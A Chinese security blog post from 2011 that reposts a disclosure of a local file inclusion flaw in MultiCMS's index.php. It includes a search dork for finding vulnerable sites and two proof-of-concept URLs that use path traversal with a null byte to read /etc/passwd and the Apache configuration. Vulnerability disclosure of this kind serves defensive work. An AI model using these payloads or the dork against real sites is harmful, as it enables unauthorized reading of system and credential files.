MultiCMS本地文件包含漏洞

YesCK • 12年前 (2011-02-01) • 漏洞0day • 阅读 8853 • 添加收藏

MultiCMS是一款灵活的内容管理系统，可以帮你建立专业的网站。MultiCMS的index.php文件存在本地文件包含漏洞，可能导致敏感信息泄露。

[+]info:
~~~~~~~~~
# Date: 29/01/2011
# Author: R3VAN_BASTARD
# Exploit Title: MultiCMS File Inclusion Vulnerbility
# Vendor: http://www.multicms.net
# Status: FIXED
# Tested on: Windows 7
# Dork: "RedakcnÃ systÃ©m MultiCMS"
# Mail: defrontliner@whiteponny.com

[+]poc:
~~~~~~~~~
# File: /Index.php?lng=[LFI]
# XPL: http://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/passwd%00
http://Localhost.com/[path]/index.php?lng=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00

[+]Reference:
~~~~~~~~~
http://packetstormsecurity.org/files/view/97987/multicms-lfi.txt

本文由站长原创或收集，不代表本站立场，如若转载，请注明出处：http://yesck.com/post/436/